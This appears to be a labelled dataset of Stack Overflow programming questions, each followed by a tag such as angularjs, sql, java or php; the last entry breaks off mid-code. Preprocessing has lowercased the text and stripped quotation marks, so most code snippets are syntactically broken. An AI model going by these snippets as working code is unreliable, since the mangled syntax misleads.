angularjs $sce is undefined  using angularjs 1.65  i am using angularjs 1.65 version and its seems that $sce is getting me undefined  i have been trying serval times to get it fixed over 3 hours on it.     here is the module :    <pre><code>var app = angular.module( myapp   [ ui.router   ngclipboard   oitozero.ngsweetalert ]); app.config(function ($stateprovider  $urlrouterprovider  $locationprovider) {}) </code></pre>   and here is the controller :   <pre><code> app.controller( monitormaincontroller    [ $rootscope   $scope   $timeout   sweetalert   $sce    function  ($scope $timeout $rootscope $watch sweetalert $sce) {    $scope.copyset = function(name){ $scope.trustedhtml =   $sce.trustashtml(name); };   }); </code></pre>   i am getting an error which says $sce is undefined   <blockquote>    failed to load resource: the server responded with a status of 404   (file not found) angular.js:14642 typeerror: cannot read property    trustashtml  of undefined       at scope.$scope.copyset (monitormaincontroller.js:93)       at fn (eval at compile (angular.js:15500)  :4:153)       at callback (angular.js:27285)       at scope.$eval (angular.js:18372)       at scope.$apply (angular.js:18472)       at htmlbuttonelement. (angular.js:27290)       at htmlbuttonelement.dispatch (jquery.js:5095)       at htmlbuttonelement.elemdata.handle (jquery.js:4766)  </blockquote>   will be happy to get any answer thank you very much!,angularjs
select resultset of two tables without merging result  i have a question if this is possible.   <pre><code>table a     table b  -------     -------- test1       test4 test2       test5 test3   result ------------------ test1      test4 test2      test5 test3 </code></pre>   like a temporary table but from two tables. when you try to select this columns like a normal select statement they are combining the result. but what i want is that the even dont know each other just get display in columns side by side. what i logically want is <br> <br> select (select column from table a  select column from table b)from dual    thanks in advance,sql
reducing cognitive complexity of six-way cartesian product  i have a piece of code that has <a href= https://blog.sonarsource.com/cognitive-complexity-because-testability-understandability  rel= nofollow noreferrer >cognitive complexity</a> of 21   <pre><code>for (string item1 : itemlist1){     for (string item2 : itemlist2){         for (string item3 : itemlist3){             for (string item4 : itemlist4){                for (string item5 : itemlist5){                    for (string item6 : itemlist6){                        methodtorun(item1  item2  item3  item4  item5  item6);                    }                }             }         }     } } </code></pre>   our linter specifies a maximum cognitive complexity of 15  so i should reduce this by the standards we ve been following.    can anyone suggest an alternative solution to this piece of code  or is leaving it like this acceptable despite the complexity being too high      i know this could be a personal opinion  but i m looking for genuine solutions or answers from people who have had similar situations before.    edit : i cannot access a lot of libraries and packages from the dev machine i m working on. i have access to some (too many to list)  so please take note of this before suggesting use of one.,java
how do i validate if a user has already registered   first and foremost  thanks to everyone taking time to read through this post. many  many thanks in advance.    i m currently building a small registration system for classes. i m stopping users from registering twice to the same event through the model with  validates :user_id  :uniqueness => {:scope => :occurrence_id}  in my registration controller. i want to extend this to my views by greying out a  register  button.     i m thinking that the best way is by writing a method in the occurrence model that goes something like this:   <pre><code>def already_registered (user)   if user.id == self.registrations.find()     false   else     true   end end </code></pre>   now i know for sure that this doesn t work. how can i search if one occurrence has been has not been register by the current user     models/registration.rb   <pre><code>class registration &lt; activerecord::base    belongs_to :user   belongs_to :occurrence   attr_accessible :occurrence_id  :registration_date  :user_id  :occurrence  :user   validates :user_id  :uniqueness =&gt; {:scope =&gt; :occurrence_id}  end </code></pre>   models/occurrence.rb   <pre><code>class occurrence &lt; activerecord::base    belongs_to :course   belongs_to :location   has_many :registrations   has_many :users  :through =&gt; :registrations    validates :price  :presence =&gt; true    attr_accessible :course_id  :datetime_end  :datetime_start  :location_id  :price  :teacher_id  :class_size    def remaining_seats     self.class_size - self.registrations.count   end end </code></pre>,ruby-on-rails
android: oneditoractionlistener stops the app  please when i try to run this app it stops.    the problem is with oneditoractionlistener  if i delete the app loads and runs ok.   <pre><code>import android.app.activity; import android.os.bundle; import android.view.keyevent; import android.widget.edittext; import android.widget.textview; import android.widget.textview.oneditoractionlistener; import android.widget.toast;  public class imedemo2 extends activity   {       edittext et;      @override     public void oncreate(bundle savedinstancestate)     {             super.oncreate(savedinstancestate);             setcontentview(r.layout.main);              et.setoneditoractionlistener(new oneditoractionlistener() {                  public boolean oneditoraction(textview v  int actionid  keyevent event) {                      }                     toast.maketext(getapplicationcontext()   ok   toast.length_long).show();                         return true;                  }              });                  } </code></pre>   },android
js recursive function with for in  there are call function with reqursive in for .. in loop  but something wrong in work. as i think reason in loop but i can not understand why. help somebody!   <pre class= lang-html prettyprint-override ><code>&lt;html&gt; &lt;head&gt;     &lt;meta charset= utf-8 &gt;      &lt;title&gt;test html with js tasks&lt;/title&gt;     &lt;script type= text/javascript  src= ./2.js &gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt;     &lt;script type= text/javascript &gt;         var objsample = {              glossary : {                  title :  example glossary                    glossdiv : {                      title :  s                        glosslist : {                          glossentry : {                              id :  sgml                                sortas :  sgml                                glossterm :  standard generalized markup language                                acronym :  sgml                                abbrev :  iso 8879:1986                                glossdef : {                                  para :  a meta-markup language  used to create markup languages such as docbook.                                    glossseealso : [ gml    xml ]                             }                               glosssee :  markup                          }                     }                 }             }         };         findproperty(objsample   sgml );     &lt;/script&gt;     pikabu &lt;/body&gt; &lt;/html&gt; </code></pre>   and source code for 2.js:   <pre class= lang-js prettyprint-override ><code>function findproperty(obj  propcontentpart) {     for (var key in obj) {         var value = obj[key];         if (typeof value ===  object ) {             if (findproperty(value  propcontentpart)) {                 console.log(key);                 return true;             }         } else {             if (value.indexof(propcontentpart) &gt; -1){                 console.log(key);                 return true;             }         }     } } </code></pre>   output is:   <pre><code>id glossentry glosslist glossdiv glossary </code></pre>   but expected also sortas and acronym. why so,javascript
why map not returning correct result  i m trying to loop through an array of dom elements and only return the dom element if it matches a specific criteria. in the case below if the id attribute is equal to the value of  0  and it has a child element with the class name record.  i have tried the below code but it returns element 0 always even if it does not have a child with the class record.   <pre><code>var el = shows.map(function(index  element) {     if (this.id ==  0  &amp;&amp; $(element).children( .record )) return this; }); </code></pre>,jquery
what is the difference between uuid  udid and device token in ios stack overflow  i googled it but every one says difference between uuid and udid. but i am looking for difference between uuid udid and device token in ios    can any one help me simple and short,objective-c
how to move selected value of drop down list to first position using angularjs   here is my code and i want to display the selected value at first position in the drop down list.           organization   <pre><code>  &lt;div class= ui selection dropdown  &gt;      &lt;input type= hidden             name= organization             ng-model= accountdetails.organization &gt;     &lt;i class= dropdown icon &gt;&lt;/i&gt;       &lt;div class= text            ng-class= {  default :(!accountdetails.organization)  } &gt;none      &lt;/div&gt;     &lt;div class= menu &gt;       &lt;div class= item             ng-repeat= (shortname  organization) in organizations             ng-click= accountdetails.organization             data-value= {{ organizationname(shortname)}}             data-text= {{ organizationname(shortname) }} &gt;            {{ organization}}        &lt;/div&gt;           &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>,angularjs
how to enforce insert with specific field   given the following table:   <pre><code>drop table if exists my_table; create table if not exists my_table(   id int not null     timestamp timestamp(3) default current_timestamp(3) not null    data blob null    primary key (id) ); </code></pre>   i can insert on it with:   <pre><code>insert into my_table (timestamp  data) values                         ( 2014-07-11 11:25:48.185   load_file( sql/file.bin )); </code></pre>   in the above insert i was not enforced to insert the <code>id</code> field.    how may i create the table (<code>my_table</code>) so that it prevents inserts without <code>id</code>     i would every insert to be made (providing the <code>id</code>) like  i.e.:   <pre><code>insert into my_table (id  timestamp  data) values                         (7   2014-07-11 11:25:48.185   load_file( sql/file.bin )); </code></pre>   i was thinking <code>not null</code> was there for it.,mysql
variable insertion in href attribute of <a> tag  i have a variable with this value   <pre><code>var=  http://www.coolsite.com  </code></pre>   this variable will change  its a dynamic value    i want insert this variable in my href attribute of  tag.    after insertion it should look like this   <pre><code>&lt;a href= http://www.coolsite.com &gt;http://www.coolsite.com&lt;/a&gt; </code></pre>   i want to do this in asp.net c#    does any one have an idea  how can i do this     thanks,asp.net
how to implement live chat functionality in asp.net website  in my application i want to implement live chat functionality where 10 admin users can chat with multiple clients.so please help me to get some sites which are already been coded step by step which can fulfill my requirement.,asp.net
how to read user input before pressing enter   i m trying to write an example program in c which reads user input character by character  without the user having to press enter. i have used the code seen <a href= https://stackoverflow.com/a/1799024/4844299 >here</a>  and it works just fine  with a slight issue. i want to process all of the user s input when they press enter  and when i use <code>system(/bin/stty raw);</code>  the program can no longer detect it. as in:   <pre><code>int n  i; char buffer[50]; system ( /bin/stty raw ); for(i=0; i&lt;30 ; i++) {      buffer[i] = getchar();     printf( %d\n   buffer[i] ==  \n );   //this prints 0 when i press enter     if(buffer[i] ==  \n ){         break;     } } printf( %s\n  buffer);  system ( /bin/stty cooked ); </code></pre>   is there a way to detect the user pressing enter when doing this     what i m actually trying to do is read the user s input before they press enter  but do something when they do. another way i thought of doing this is  if i were to not read it character by character  but rather using  for example <code>fgets(buffer  255  stdin);</code>  is there a way to read stdin  s buffer before the user pressing enter  i want to use the enter key for this  so terminating the user input on another character  like with <code>while((c=getchar())!=  . ){}</code>  used <a href= https://stackoverflow.com/a/1799024/4844299 >here</a> is not an option.,c
mysql alter table on tables too large to duplicate  when adding a column to a myisam table  mysql will create>copy>drop>rename.  i have a table which is sufficiently large that it cannot be duplicated in the server s remaining free space.  attempting to add a column then results in the disk filling.  time is not an issue here  neither is table availability  just disk space.    short of copying the data to another server  truncating  altering  and copying back  is there a way to add a column to a myisam table <em>without</em> it creating a temporary table and duplicating all the data,mysql
how can i use .apk file into my own application android   in developer.android.com i read central feature of android is you can make use of elements of other applications in your own application.iam interested in this line. 1)how can we use the .apk downloaded suppose from android market in to our application   2)how can we use our own created applicaton into newly created application     please give me guidance on this and if possible sample snippet     regards  rajendar,android
css formatting of multiple nav groups  given mark-up similar to:   <pre><code>&lt;h1 id= menu1title &gt;menu1&lt;/h1&gt; &lt;nav id= menu1 &gt;     &lt;a&gt;item1-1&lt;/a&gt;     &lt;a&gt;item1-2&lt;/a&gt;     &lt;a&gt;item1-3&lt;/a&gt; &lt;/nav&gt;  &lt;h1 id= menu2title &gt;menu2&lt;/h1&gt; &lt;nav id= menu2 &gt;     &lt;a&gt;item2-1&lt;/a&gt;     &lt;a&gt;item2-2&lt;/a&gt;     &lt;a&gt;item2-3&lt;/a&gt; &lt;/nav&gt;  &lt;h1 id= menu3title &gt;menu3&lt;/h1&gt; &lt;nav id= menu3 &gt;     &lt;a&gt;item3-1&lt;/a&gt;     &lt;a&gt;item3-2&lt;/a&gt;     &lt;a&gt;item3-3&lt;/a&gt; &lt;/nav&gt; </code></pre>   how can this presentation be achieved using css only    <pre><code>menu1  menu2  menu3 item1-1 item1-2 item1-3 item2-1 item2-2 item2-3 item3-1 item3-2 item3-3 </code></pre>   uls can also be used as long as they are three separate elements and not sub-lists of one another.  i d prefer not to use absolute positioning as there is other content below this that should flow around the mark-up above.  i also have no need for old ie hacks; only supporting ie9 and modern browsers.    is this even possible  thanks!    edit... the above formatting question is to style for mobile.  non-mobile is displayed as below which is why i was hoping for a css-only solution that didn t require mark-up changes.   <pre><code>menu1 item1-1  item1-2  item1-3   menu2 item2-1  item2-2  item2-3   menu3  item3-1  item3-2  item3-3  </code></pre>,css
margin or padding above text in css  i m working on this page:    <img src= https://i.stack.imgur.com/db8l1.jpg  alt= enter image description here >    i m trying to get the first dropline items to display a little further down from the main menu; say approximately half the distance as there is between the first and second droplines.  the reason being that when mousing over the first dropline  it s very easy to have the mouse go back to the main menu.   <pre><code>/* ================================================================  this copyright notice must be untouched at all times.  the original version of this stylesheet and the associated (x)html is available at http://www.cssplay.co.uk/pro_dropline7.html copyright (c) 2005-2008 stu nicholls. all rights reserved. this stylesheet and the associated (x)html may be modified in any  way to fit your requirements. =================================================================== */  #dropline {position:relative; font-size:13px; height:40px; background:url(http://test.garlandcountydemocrats.org/master_files/back.gif);}  #dropline  #dropline ul {padding:0; margin:0; list-style:none; width:1080px;}  #dropline table {border-collapse:collapse; margin:-1px -10px; 0 0; padding:0; width:0; height:0; font-size:13px;} #dropline li {float:left; height:40px; margin-right:1px;} #dropline li a {float:left; display:block; height:40px; line-height:19px; padding:0 20px 0 10px; font-family:arial  sans-serif; font-size:13px; color:#fff; text-decoration:none; font-weight:bold; text-align:center;} #dropline li a.down {background:background:url(http://test.garlandcountydemocrats.org/master_files/down.gif) no-repeat right center;} #dropline li ul li a.down {font-size:15px; color:#ff0; font-weight:normal;}  #dropline li a:hover {white-space:nowrap; color:#444;} #dropline li a.down:hover {white-space:nowrap; color:#444; background:background:url(http://test.garlandcountydemocrats.org/master_files/down-over.gif) no-repeat right center;}  #dropline li:hover &gt; a {color:#4aef03;} #dropline li:hover &gt; a.down {color:#4aef03; background:url(http://test.garlandcountydemocrats.org/master_files/down-over.gif) no-repeat right center;}  #dropline li ul {position:absolute; top:38px; left:-9999px; z-index:10; background:url(http://test.garlandcountydemocrats.org/master_files/sub-back.png) left top;} #dropline li ul.floatright li {float:right;}  #dropline :hover ul  #dropline :hover ul :hover ul  #dropline :hover ul :hover ul :hover ul  #dropline :hover ul :hover ul :hover ul :hover ul  #dropline :hover ul :hover ul :hover ul :hover ul :hover ul {left:0; background:url(http://test.garlandcountydemocrats.org/master_files/sub-back.png) left bottom;}  #dropline :hover ul ul  #dropline :hover ul :hover ul ul  #dropline :hover ul :hover ul :hover ul ul  #dropline :hover ul :hover ul :hover ul :hover ul ul {left:-9999px; top:38px; background:transparent;}  i ve tried several different variations on the css code shown below without success.  i m a total newbie so any help will certainly be appreciated.  thanks in advance. hozey </code></pre>,css
how to get snap shots of touch part on screen by programming   i am implementing iphone application in which i want to implement below features. when user touch on iphone screen then user snap shot will generate of touch area of the screen and save to photo library.    i have done googling but dont get successed.    please help me for this query.    thanks in advance,iphone
property of two classes  i want to have a result that looks like this player.type.property  an example of this is with uilabel  self.label.text. the .text being the property of the two classes.    a suggestion i have had is to do something like this:   <pre><code>player.type = [[mycustomobject alloc] init]; player.type.property = @ value ; </code></pre>   although i m not quite sure exactly how to go about doing this correctly  every method i have tried doesn t work.     here is what i have tried:   <pre><code>marketplace.h #import  item.h  @interface marketplace : nsobject @property (nonatomic  assign) item *market;  item.h @interface item : nsobject @property (nonatomic  assign) int price;  starter.m #import  marketplace.h  #import  item.h  @implementation maingamedisplay {     marketplace *market;     item *itemname; }  -(void) executedmethod {     market.itemname = [[market alloc] init];     //2 errors:  property  itemname not found on object of type  marketplace   and  no visible @interface for  marketplace  declares the selector alloc      market.itemname.price = 5; // property  itemname  not found on object of type  marketplace*   } </code></pre>,objective-c
creating an exe for a windows standalone application using c# in visual studio 2015  i have created sales management system using c# and ms sql server 2012. this is working fine. all i want to know in how can i create an exe so that this can be installed in another machine without any .net framework.    e.g. it should say like salesmanagementsystem.exe  and i should be able to install it in any machine.,c#
postfix decrement  i have a very simple question.    in this piece of code when will the value of n be decremented    <pre><code>#include&lt;stdio.h&gt; void func(int n) {    //text// }  int main() {   int n=10;   func(n--);   return 0; } </code></pre>   now when func() is called is the value of n decremented when control comes back to main() or is it decremented at that time only but n=10 is passed to func(). please explain  also if there is a way to check the value then that will be really helpful.,c
my form is aligned on the right hand side of the page ...i want to make it to left hand side <pre><code>&lt;div class= row1  id= location  style= padding:0px 0px 3px 5px; background:white; color:black;  itemscope itemtype= http://schema.org/breadcrumblist &gt;                     &lt;div class= hello1  id= bannerandnavigatorhtmlblock_storenavigator_pnnavigator &gt;                         &lt;span itemprop= itemlistelement  itemscope itemtype= http://schema.org/listitem &gt;&lt;a style= color: #337ab7;text-decoration:none;  itemprop= item  href= / &gt;&lt;span itemprop= name &gt;home&lt;/span&gt;&lt;/a&gt;&lt;meta itemprop= position  content= 1  /&gt;&lt;/span&gt;                         &amp;nbsp;&gt;&amp;nbsp;&lt;span itemprop= itemlistelement  itemscope itemtype= http://schema.org/listitem &gt;&lt;span style= color: #333;  itemprop= name &gt;advanced option&lt;/span&gt;&lt;meta itemprop= position  content= 2  /&gt;&lt;/span&gt;                     &lt;/div&gt;                     &lt;div class= hello2 &gt;&lt;/div&gt;&lt;div class= hello3 &gt;&lt;/div&gt;&lt;div class= hello4 &gt;&lt;/div&gt;&lt;div class= hello5 &gt; &lt;div/&gt;                 &lt;/div&gt;                 &lt;!--closed--&gt;                 &lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt;           &lt;/div&gt;         &lt;/div&gt;         &lt;div class= row3 &gt;           &lt;div class= hello6  align= center  valign= top &gt;                 &lt;div class= container2  width= 100%  border= 0  align= center  cellpadding= 0  cellspacing= 0  id= content &gt;                &lt;div class= row4 &gt;                 &lt;div class= hello7  colspan= 2 &gt;                 &lt;div class= container3  border=0 width= 100%  cellpadding=3 cellspacing=0 &gt;                   &lt;div class= row5 &gt;                     &lt;div class= hello8 &gt;                       &lt;div class= container5  border=0 cellpadding=3 cellspacing=0 class= breadcrums  role= navigation  itemscope itemtype= http://schema.org/sitenavigationelement &gt;                         &lt;div class= row6 &gt;                           &lt;div class= hello9 &gt;&lt;img src= images/dotsmain.gif  alt= dot  /&gt;&lt;/div&gt;                           &lt;div class= hello10  colspan=3&gt;                           &lt;font class=aboutus&gt;&lt;strong&gt;custom playing cards&lt;/strong&gt;&lt;/font&gt;&lt;/div&gt;                         &lt;/div&gt;                         &lt;div class= row7 &gt;                           &lt;div&gt;&lt;a href= #ourmission &gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;                           &lt;div class= hello11   class= advance &gt;&lt;a itemprop= url  href= &lt; php print append_sid( custom-playing-cards.php ); &gt; &gt;&lt;span itemprop= name &gt;basic option&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;                           &lt;div class= hello12 &gt;&lt;img src= images/dots.gif  alt= dots  /&gt;&lt;/div&gt;                           &lt;div class= hello13 &gt;&lt;b&gt;advanced option&lt;/b&gt;&lt;/div&gt;                         &lt;/div&gt;                     &lt;/div&gt;&lt;/div&gt;                     &lt;div class= hello14  align= right &gt;                      &lt;!-- added by neeraj 24-aug-2007 --&gt; &lt;!-- powered by: crafty syntax live help        http://www.craftysyntax.com/ --&gt;  &lt;!--&lt;script type= text/javascript  src= http://showcase.foub.com/livehelp/livehelp_js.php department=7&amp;amp;serversession=1&amp;amp;pingtimes=15 &gt; &lt;/script&gt;  --&gt; &lt;!-- copyright 2003 - 2007 by eric gerdes --&gt;                     &lt;/div&gt;                   &lt;/div&gt;                   &lt;div class= row16 &gt;                     &lt;div&gt;&lt;/div&gt;                     &lt;div&gt;&lt;/div&gt;                   &lt;/div&gt;                 &lt;/div&gt;&lt;/div&gt;               &lt;/div&gt; &lt;div class= container &gt;                  &lt;div class= col-4 &gt;                 &lt;div class= top_title &gt;                 &lt;div class= wraper &gt;                 &lt;h5&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;center&gt;                 &lt;div class= form-group row &gt;                 &lt;label class= col-2 col-form-label &gt;request playing cards quote&lt;/label&gt;&lt;/center&gt;&lt;/h5&gt;                 &lt;/div&gt;                 &lt;/div&gt;                 &lt;div class= wraper wraper_typ &gt;&lt;!-- features_block --&gt;                 &lt;div class= columns &gt;                 &lt;div class= col_2_3 &gt;                 &lt;div id= left &gt;                &lt;div class= text &gt;               &lt;h2&gt;&amp;nbsp;&lt;/h2&gt;               &lt;div class= container &gt; &lt;form name= q_form  id= form1  class= form-horizontal  action= contact.php  onsubmit= return q_form_val()  method= post  enctype= multipart/form-data &gt;               &lt;div class= headerpage &gt;                 &lt;span&gt;&lt;/span&gt;&lt;b&gt;                   &lt;div class= form-group row &gt;                   &lt;h5&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span class= label label-default &gt;&lt;/span&gt;&lt;/h5&gt;                   &lt;/div&gt;                   &lt;/b&gt;&lt;br&gt;&lt;br&gt;                   &lt;div class= form-group row &gt;                     &lt;label class= col-2 col-form-label &gt;plastic coated paper :&lt;/label&gt;                     &lt;/div&gt;                    &lt;div class= col-4 &gt;                      &lt;select name= paper  id= paper  class= form-control  onchange= chgselect( coatedpaper ); &gt;                     &lt;option selected value= 0 &gt;select paper&lt;/option&gt;                       &lt;option&gt;black centered 330&lt;/option&gt;                       &lt;option&gt;black centered 320&lt;/option&gt;                       &lt;option&gt;black centered 315&lt;/option&gt;                       &lt;option selected= selected &gt;black centered 305&lt;/option&gt;                       &lt;option&gt;black centered 300&lt;/option&gt;                       &lt;option&gt;black centered 280&lt;/option&gt;                       &lt;option&gt;white centered 330&lt;/option&gt;                       &lt;option&gt;white centered 320&lt;/option&gt;                       &lt;option&gt;white centered 315&lt;/option&gt;                       &lt;option&gt;white centered 305&lt;/option&gt;                       &lt;option&gt;white centered 300&lt;/option&gt;                       &lt;option&gt;white centered 280&lt;/option&gt;                     &lt;/select&gt;                     &lt;/div&gt;                     &lt;br&gt;                  &amp;nbsp;                     &lt;br&gt;                     &lt;br&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;b&gt;or&lt;/b&gt;&lt;br&gt;&lt;br&gt;                   &lt;div class= form-group row &gt;                     &lt;label class= col-2 col-form-label &gt;100% pure plastic :&lt;/label&gt;                     &lt;/div&gt;                     &lt;div class= col-4 &gt;                     &lt;select name= plastic  class= form-control  id= plastic  onchange= chgselect( plasticpaper ); &gt;                      &lt;option selected value= 0 &gt;select plastic&lt;/option&gt;                       &lt;option&gt;250 microns&lt;/option&gt;                       &lt;option&gt;260 microns&lt;/option&gt;                       &lt;option&gt;270 microns&lt;/option&gt;                       &lt;option&gt;280 microns&lt;/option&gt;                       &lt;option&gt;290 microns&lt;/option&gt;                       &lt;option&gt;300 microns&lt;/option&gt;                       &lt;option&gt;310 microns&lt;/option&gt;                     &lt;/select&gt;                     (minimum quantity 1000 decks)                       &lt;/div&gt;                    &lt;div class= form-group row &gt;            &lt;label class= col-2 col-form-label &gt;select quantity&lt;/label&gt;            &lt;/div&gt;              &lt;span style= font-size: 16pt; color: #f00; &gt;&lt;/span&gt;                  &lt;div class= form-group row &gt;                     &lt;label for= quantity  class= col-2 col-form-label &gt;quantity (number of decks):&lt;/label&gt;                     &lt;/div&gt;                     &lt;div class= col-4 &gt;                     &lt;input type= text  class= form-control    name= quantity  id= quantity  /&gt;                     &lt;/div&gt; </code></pre>   my form is not aligning properly ....i want to make it to left hand side of the page ....it is coming on right hand side of my page ....<a href= https://i.stack.imgur.com/uxkt7.png  rel= nofollow noreferrer >image file error</a>    the form should be vertically one above the other and shoul be on left hand side of the page,html
removing a row in success funciton of ajax call  i want to remove a table s row with jquery. when i write this jquery(this).parent().parent().fadeout(); statement outside ajax success function it fades out row. but it does not work if written within ajax success function.   <pre><code>jquery(document).ready(function() {         jquery( .assignme ).click(function(){             id = jquery(this).attr( rel );             jquery.ajax({                 url: home.php ajax=1&amp;action=assing_to_agent&amp;application_id= +id                  success:function(data){                     if(data==-1)                         alert( assigned to someone else );                     jquery(this).parent().parent().fadeout();                    }             });              return false;         });     }); </code></pre>   here is html   <pre><code> &lt;tr&gt;     &lt;td&gt;&lt;button class= assignme  rel= &lt; php echo $row_rs_report[ application_id ];  &gt; &gt;assign me&lt;/button&gt;&lt;/td&gt;&lt;/tr&gt; </code></pre>   also if someone can tell me about a good practice to send a value to ajax method as i m sending id using rel attribute,jquery
how to write into a .txt file in python   i would like to write the following information into a .txt file:   <pre><code>d = 68601 w = 1500 nnz = 205806000 docword = [[    0   170     4]            [    0  1856     4]            [    0   838     3]            ...            [68601  1982     0]            [68601  1981     0]            [68601     0     0]] </code></pre>   this is how the final .txt file should look like -- replace the numbers:   <pre><code>d w nnz docid wordid count docid wordid count docid wordid count docid wordid count ... docid wordid count docid wordid count docid wordid count </code></pre>   i have tried this:   <pre><code>datafile_path =  /path/to/docword.txt  with open(datafile_path   w+ ) as datafile_id:       np.savetxt(datafile_id  data  fmt=[ %d   %d   %d ]  newline= \n ) </code></pre>   and also this:   <pre><code>with open( /path/to/docword.txt    ab ) as outfile:      for data_slice in data:          np.savetxt(outfile  data_slice  fmt=[ %d   %d   %d ]) </code></pre>   it takes forever and doesn t do what i want  also saving it as a pickle is not what i want. i want to be able to open the text file and be able to see the same format in there  3 lines of one column and then lines of 3 columns.,python
a class gets unique property backing even if property backed by static variable  seems like the property just doesn t get backed by the static variable  and the compiler gives it a unique one  anyway.    header file:   <pre><code>@interface mybase : nsobject @property int error; @end  @interface mysubclass : mybase @end </code></pre>   implementation file:   <pre><code>static int staticerror = 0;  @implementation mybase @synthesize error = staticerror;            // back it with a static variable @end  @implementation mysubclass @end </code></pre>   example:   <pre><code>mybase* base = [[mybase alloc] init]; base.error = 1;  mybase* anotherbase = [[mybase alloc] init]; nsassert( base.error == anotherbase.error   @ this causes assertion  );  mysubclass* subclass = [[mysubclass alloc] init]; subclass.error = 2; // this *should* set our static variable from 1 to 2.  // prove they refer to the same static variable (but fail) nsassert( base.error == subclass.error   @ this causes assertion  ); </code></pre>   tested on xcode 6.4,objective-c
does number of fetched columns have impact on mysql query speed   say i have a table with multiple columns. is there a speed difference between selecting all columns  or just a subset of the columns  like below    <pre><code>select * from table where colx =  value  select col1  col2  col3 from table where colx =  value  </code></pre>,mysql
how do i combine two table with same structure but different information in one form   i have three separate databases for different branches of the company.  now i require a front end which can access all of the databases depending on which service number is chosen.  for example  branch a uses service numbers starting with 601  and branch b uses service numbers beginning with 401.    these are auto incremented as services are added.  i would like some help in creating a form which prompts the user to specify which branch of the company the service is to be added to  and then sets the service number appropriately for that branch.,ios
get inner text from div  <strong>html:</strong>   <pre><code>&lt;div id= country &gt;     &lt;span&gt;b&lt;/span&gt;     bangladesh &lt;/div&gt;  &lt;div id= capital &gt;     dhaka     &lt;span&gt;d&lt;/span&gt; &lt;/div&gt; </code></pre>  <ol> <li>from <code>#country</code>  i want to get <strong>bangladesh</strong></li> <li>from <code>#capital</code>  i want to get <strong>dhaka</strong></li> </ol>   how can i achieve this,jquery
how set time of ads in php site  i have little error in my php site  that i include some ads and if one of the sites of ads is down my site go slowly and sometimes refuse to connect  how can i set max time of trying to show ads in php without stopping the whole site  thank you for help! e.g.    <pre><code>&lt; php include  banners/_728x90/random_high.php   &gt; </code></pre>   i want that include to try showing the ads for 15 seconds if it fails so that include part stop and the site showing without that include.    here the code of random_high.php   <pre><code>&lt; php   $filename160l =  banners/_728x90/random_high.txt ;   $file160l = file($filename160l);    srand((double)microtime()*1000000);   while ($randomrotator160l ==   ) {   $randomrotator160l =    ereg_replace( \n     $file160l[rand(0 count($file160l))]);  }  print  $randomrotator160l ;   &gt; </code></pre>   and in random_left.txt every line is ad,php
php class abstraction  i found a simple class  the follow:   <pre><code>abstract class singleton {     /**      * prevents direct creation of object.      *      * @param  void      * @return void      */     final protected function __construct() {}      /**      * prevents to clone the instance.      *      * @param  void      * @return void      */         final protected function __clone() {}      /**      * gets a single instance of the class the static method is called in.      *      * see the {@link http://php.net/lsb late static bindings} feature for more      * information.      *      * @param  void      * @return object returns a single instance of the class.      */     final static public function getinstance(){         static $instance = null;          return $instance  : $instance = new static;     } } </code></pre>   the question is  is there a sense to use <code>abstract class singleton</code> instead of <code>class singleton</code>   i mean...    as you can see the <strong>_<em>construct</strong> is protected and <strong></em>_clone</strong> too. as far i understand what  abstract  means for me is pointeless to use abstract because i already cannot instantiate the class  no,php
is the result of an lvalue-to-rvalue conversion of a non-const expression constant   i am trying to figure whether or not the following two statements both odr-use the variable  x  (<code>int x=2</code>).   <ol> <li><code>int c = x;</code></li> <li><code>int y = x+12;</code></li> <li><code>int* z = &amp;x;</code></li> </ol>   so is my confusion:    i have <a href= http://en.cppreference.com/w/cpp/language/definition#odr-use  rel= nofollow noreferrer >read that</a> if <em>not</em>  applying lvalue-to-rvalue conversion to x yields a constant expression that doesn t invoke non-trivial functions  then it is odr-used. i know that the third statement does odr-uses <code>x</code> but the first and the second  nah not entirely sure...     regarding statement 1: is it correct that this statement does not odr-use <code>x</code>     regarding statement 2: it it with respect to this particular statement that i am looking at the criteria above. an rvalue-to-lvalue conversion is applied to <code>x</code> to satisfy the requirements of the + operator but does this yield a constant expression  from my understanding  it does  since it would yield the rvalue <code>2</code>  which i guess never changes and thus is <em>constant</em>. so what i find it quite confusing that a constant expression is an expression that is constant  which would make the result of the conversion a constant expression from what i have learnt. the problem just is that the variable <code>x</code> is <em>not</em> constant  so it would be odd to me that the result of something involving this suddenly is <em>constant</em>...,c++
mooc java exercise 78  bounded counter not accepting user input  trying to learn java with my son. i ve googled every combination of words but can t seem to find an answer. i would appreciate any help or direction.    the program is not taking in the user input for mins/hrs to initiate counter. so counter starts at 00:00:50 for input of 23:59:50. here is my code to date:    main class:   <pre><code>import java.util.scanner;  public class main {  public static void main(string[] args) {     scanner reader = new scanner(system.in);      boundedcounter seconds = new boundedcounter(59);     boundedcounter minutes = new boundedcounter(59);     boundedcounter hours = new boundedcounter(23);      system.out.print( seconds:  );     int s = integer.parseint(reader.nextline());     system.out.print( minutes:  );     int m = integer.parseint(reader.nextline());     system.out.print( hours:  );     int h = integer.parseint(reader.nextline());      seconds.setvalue(s);     minutes.setvalue(m);     hours.setvalue(h);       int i = 0;     while ( i &lt; 121 ) {         system.out.println( hours +  :  + minutes +  :  + seconds);             seconds.next();          if(seconds.getvalue()== 0){         minutes.next();         }         // if minutes become zero  advance hours         if(minutes.getvalue()== 0 &amp;&amp; seconds.getvalue()== 0){             hours.next();         }         i++;     }   } }  public class boundedcounter {     private int value;     private int upperlimit;   public boundedcounter(int upperlimit){      this.value = 0;      this.upperlimit = upperlimit;  }  public void next(){     if(value &lt; upperlimit){         value++;     }     else {         this.value = 0;     }     }   public string tostring(){      if(value &lt; 10){          return  0  + this.value;      }      else{      return    + this.value; } }  public int 